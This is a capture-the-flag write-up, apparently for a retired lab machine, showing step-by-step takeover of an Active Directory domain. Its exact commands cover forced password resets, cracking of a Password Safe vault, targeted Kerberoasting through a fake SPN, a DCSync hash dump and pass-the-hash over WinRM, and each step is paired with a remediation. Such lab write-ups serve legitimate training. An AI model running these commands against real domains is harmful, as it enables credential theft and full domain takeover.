Administrator
Summary
I entered the Windows domain using credentials supplied at engagement start, then exhaustively enumerated Active Directory object permissions to discover a three-hop delegated password-reset chain (Olivia → Michael → Benjamin). Benjamin's credentials unlocked an FTP share holding a Password Safe backup vault; GPU-accelerated cracking of the vault master password revealed credentials for Emily.
Emily held a GenericWrite right over Ethan, which was abused to write a fake Service Principal Name onto his account, making him Kerberoastable. The captured Kerberos service ticket was cracked offline to recover Ethan's plaintext password.
Ethan held DCSync replication rights on the domain root, enabling a targeted dump of the built-in Administrator's NTLM hash. That hash was presented directly in a pass-the-hash WinRM session — no password cracking required — granting full control over the domain controller and completing total domain compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"
export HASH2="<the-hash-you-recovered>"Attack path — how the box was taken
Exact commands 4
Add DC hostname and domain to local resolution.
$ echo "$TARGET dc.administrator.htb administrator.htb" | sudo tee -a /etc/hostsConfirm SMB access and retrieve OS/domain metadata.
$ nxc smb $TARGET -u Olivia -p $PASSWORD3Confirm WinRM remote execution (Pwn3d! = full command execution).
$ nxc winrm $TARGET -u Olivia -p $PASSWORD3Collect full AD graph; import the resulting zip into BloodHound to visualise delegated ACL paths.
$ bloodhound-python -u Olivia -p $PASSWORD3 -d administrator.htb -ns $TARGET -c All --zipExact commands 3
Reset Michael's password using Olivia's delegated ForceChangePassword right.
$ bloodyAD --host $TARGET -d administrator.htb -u Olivia -p $PASSWORD3 set password michael "$PASSWORD2"From Michael's WinRM session, reset Benjamin's password using Michael's delegated right.
$ nxc winrm $TARGET -u michael -p $PASSWORD2 -X "Set-ADAccountPassword -Identity benjamin -Reset -NewPassword (ConvertTo-SecureString '$PASSWORD2' -AsPlainText -Force) -Verbose"Confirm Benjamin's new credentials grant WinRM access.
$ nxc winrm $TARGET -u benjamin -p $PASSWORD2FixRemove delegated password-reset rights from regular user accountsCritical
Exact commands 3
Mirror all FTP content under Benjamin's account; Backup.psafe3 is retrieved in this download.
$ wget -m --user=benjamin --password=$PASSWORD2 ftp://$TARGET/ -P /tmp/ftplootExtract a hashcat/john-compatible hash from the Password Safe v3 file.
$ pwsafe2john /tmp/Backup.psafe3 > /tmp/psafe.hashRun on GPU host, not Kali VM. Mode 5200 = Password Safe v3. Cracked master password unlocks vault revealing Emily's credential.
$ hashcat -m 5200 -a 0 /tmp/Backup.psafe3 /usr/share/wordlists/rockyou.txt --potfile-disable -o /tmp/psafe.outFixRemove credential backups from network-accessible file sharesCritical
Exact commands 2
Confirm Emily's credentials and WinRM access.
$ nxc winrm $TARGET -u emily -p "$PASSWORD"Read the user flag from Emily's Desktop.
$ nxc winrm $TARGET -u emily -p "$PASSWORD" -X "type C:\Users\emily\Desktop\user.txt"Exact commands 3
Write a fake SPN onto Ethan using Emily's GenericWrite right.
$ nxc winrm $TARGET -u emily -p "$PASSWORD" -X "Set-ADUser -Identity ethan -ServicePrincipalNames @{Add='HTTP/roastme.administrator.htb'}"Request TGS tickets for every SPN-bearing account, capturing Ethan's newly-added roastable ticket.
$ nxc ldap $TARGET -u emily -p "$PASSWORD" --kerberoasting /tmp/kroast.txtCrack the TGS-REP hash on GPU host. Mode 13100 = Kerberos 5 TGS-REP etype 23. Recovers ethan's password.
$ hashcat -m 13100 -a 0 /tmp/kroast.txt /usr/share/wordlists/rockyou.txt --potfile-disableFixRemove GenericWrite and attribute-write ACLs between peer user accountsHigh
Exact commands 2
Confirm Ethan's cracked credentials before running DCSync.
$ nxc smb $TARGET -u ethan -p $PASSWORD4DCSync only the Administrator account; -just-dc-user limits the replication scope and reduces log noise. Returns NTLM hash.
$ impacket-secretsdump administrator.htb/ethan:$PASSWORD4@$TARGET -just-dc-user AdministratorFixRevoke DCSync replication rights from all non-domain-controller accountsCritical
Exact commands 2
Authenticate as Administrator using only the NTLM hash — no password required.
$ nxc winrm $TARGET -u Administrator -H $HASH2Read the root flag to confirm full domain Administrator control.
$ nxc winrm $TARGET -u Administrator -H $HASH2 -X "type C:\Users\Administrator\Desktop\root.txt"FixMitigate NTLM pass-the-hash by enforcing Kerberos and enabling Protected UsersHigh
Attack patterns used
The transferable techniques behind this compromise.
DCSyncActive Directory · Credential AccessT1003.006
What it is
DCSync abuses the Directory Replication Service (DRSUAPI) protocol that Domain Controllers use to replicate data. A principal holding the Replicating Directory Changes rights can ask a DC to replicate password hashes for any account — including krbtgt — without touching LSASS, e.g. secretsdump.py -just-dc. Recovering krbtgt enables Golden Tickets.
Why it works
Replication rights are meant only for DCs and a few admin roles; over-delegation (or compromise of a privileged account) lets an unauthorised user impersonate a DC. Remediate by auditing who holds replication rights and monitoring DRSUAPI requests from non-DC hosts.
Read more
KerberoastingActive Directory · KerberosT1558.003
What it is
Any authenticated domain user can request a Kerberos service ticket (TGS) for an account that has a Service Principal Name (SPN). Part of that ticket is encrypted with the service account's NTLM hash, so GetUserSPNs.py harvests the tickets and hashcat (mode 13100) cracks them offline to recover the service account password.
Why it works
Service accounts frequently have weak, non-expiring passwords and elevated privileges, and any domain user can request their tickets. Remediate with long random passwords or group Managed Service Accounts (gMSA), and monitor for anomalous TGS requests (event 4769).
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.